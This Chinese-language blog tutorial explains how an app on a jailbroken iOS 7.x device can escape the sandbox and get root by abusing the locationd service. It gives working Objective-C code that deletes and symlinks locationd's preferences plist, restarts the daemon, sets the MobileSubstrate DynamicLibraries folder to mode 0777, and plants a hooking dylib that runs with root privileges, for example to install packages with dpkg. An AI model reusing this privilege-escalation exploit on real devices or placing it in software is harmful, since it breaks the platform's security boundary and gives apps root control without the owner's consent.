使用locationd漏洞从sandbox内获取root权限

iOS沙盒机制

  iOS中的沙盒机制(SandBox)是一种安全体系,它规定了应用程序只能在为该应用创建的文件夹内读取文件,不可以访问其他地方的内容。所有的非代码文件都保存在这个地方,比如图片、声音、属性列表和文本文件等。

  1.每个应用程序都在自己的沙盒内。

  2.不能随意跨越自己的沙盒去访问别的应用程序沙盒的内容。

  3.应用程序向外请求或接收数据都需要经过权限认证。

  以上3点就是iOS沙盒机制的主要表现,一般来讲普通的用户级别app(从AppStore下载或者从其他第三方应用商店下载的ipa)很难越过iOS沙盒机制,除非有些特殊手段或者一些系统漏洞能利用,这里我们就来讲下越狱设备利用locationd漏洞来让ipa程序跳出沙盒来获取root权限。

准备工作

1.删除/var/mobile/Library/Preferences/com.apple.locationd.plist

2.软连接/var/mobile/Library/Preferences/com.apple.locationd.plist到需要权限的目录,比如/Library/MobileSubstrate/DynamicLibraries

3.执行CLClientShutdownDaemon()来重启locationd服务,这是/Library/MobileSubstrate/DynamicLibraries目录权限将变为mobile:mobile

4.编写Tweak来hooklocationd,并将该Tweak拷贝到/Library/MobileSubstrate/DynamicLibraries

5.再次调用CLClientShutdownDaemon()来重启locationd,这时Tweak也将随着locationd启动而启动,这时Tweak就可以用来做一些高权限的事情了,也就间接的让ipa获取到root权限了,完毕!

  以上几点大体介绍了获取root权限要经历的步骤,该步骤在iOS 7.x系统上已验证成功,但是在iOS 8.x系统上第1步骤就失败了,所以iOS 8.x要换种方式实现,现在还在研究中,不过腾讯手机管家Pro已经实现了该功能,技术果然牛逼!废话不多说,先来看下代码如何实现吧!

实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void CLClientShutdownDaemon(void); //记得引入CoreLocation.framework

- (void)operator {
NSFileManager *fileManager = [NSFileManager defaultManager];
NSString * plistPath = @"/var/mobile/Library/Preferences/com.apple.locationd.plist";
NSString * path2 = @"/Library/MobileSubstrate/DynamicLibraries";
NSError * error = nil;
if ([fileManager fileExistsAtPath:plistPath]) {
[fileManager removeItemAtPath:plistPath error:&error];
if (error) {
NSLog(@"error : %@", error);
}
}

[[NSFileManager defaultManager] createSymbolicLinkAtPath:plistPath withDestinationPath:path2 error:&error]; //创建软链接到"/Library/MobileSubstrate/DynamicLibraries"

if (error != nil) {
NSLog(@"error : %@", error);
}
CLClientShutdownDaemon(); //重启locationd服务
[self performSelector:@selector(injectDylib) withObject:nil afterDelay:3.0f]; //延迟3s等待locationd服务启动
}

- (void)injectDylib {

NSFileManager *fileManage = [NSFileManager defaultManager];
NSError *error = nil;

[fileManage setAttributes:[NSDictionary dictionaryWithObject:[NSNumber numberWithUnsignedLong:0777] forKey:NSFilePosixPermissions] ofItemAtPath:@"/Library/MobileSubstrate/DynamicLibraries/" error:&error];
if (error) {
NSLog(@"NSFilePosixPermissions error:%@",[error localizedDescription]);
}

NSString *documents = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) objectAtIndex:0];
NSString *zipPath = [[NSBundle mainBundle] pathForResource:@"Cappuccino.zip" ofType:nil];
NSString *targetZipPath = [documents stringByAppendingPathComponent:@"Cappuccino.zip"];

[fileManage copyItemAtPath:zipPath toPath:targetZipPath error:&error];
int res = unZipMain((char*)[targetZipPath UTF8String], (char*)[documents UTF8String], NULL);


NSString *dylibFile = [documents stringByAppendingPathComponent:@"Cappuccino.dylib"];
NSString *plistFile = [documents stringByAppendingPathComponent:@"Cappuccino.plist"];

NSString *targetDylibFile = @"/Library/MobileSubstrate/DynamicLibraries/Cappuccino.dylib";
NSString *targetPlistFile = @"/Library/MobileSubstrate/DynamicLibraries/Cappuccino.plist";

[fileManage copyItemAtPath:plistFile toPath:targetPlistFile error:&error];
if (error) {
NSLog(@"plist error : %@", error);
}
[fileManage copyItemAtPath:dylibFile toPath:targetDylibFile error:&error];
if (error) {
NSLog(@"dylib error : %@", error);
}
CLClientShutdownDaemon(); //重新启动locationd服务,以便启动插件服务
}

  以上代码中出现了Cappuccino.dylibCappuccino.plist,(腾讯手机管家Pro抱歉了,我抄袭了你的命名了!)这两个是用来hooklocationd服务的插件,也是用来获取root权限的间接桥梁,它里面做的事情也很简单,就是简单的安装deb文件,其实也可以改成其他操作,比如注销,重启等操作,就看用户喜好了,虽然我没有详细的逆向腾讯手机管家ProCappuccino.dylib写了什么样的代码,但是我大体也能猜出里面它其实是用来安装deb文件的,大体是下面这样的操作,dpkg -i DEB_PATH,DEB_PATH请根据需要自行改成自己deb所在的路径,如果你的deb是放在ipaDocuments的话,那也是可以根据ipa的identifier来获取,这里我就不实现了,Cappuccino.dylibCappuccino.plist的大体实现请看下图:
Cappuccino.dylib
Cappuccino.plist

后记

  到这里为止,我们就跳出了沙盒限制,获取到root权限了,不过以上方法只在iOS 7.x系统上测试过,iOS 8.x测试失败,(但是腾讯手机管家Pro实现了,还有待研究它是如何实现的)iOS 6.x 和iOS 5.x未测试(手头暂无机子),如果读者感兴趣的话,可自行测试。

参考

iOS逆向论坛

腾讯手机管家Pro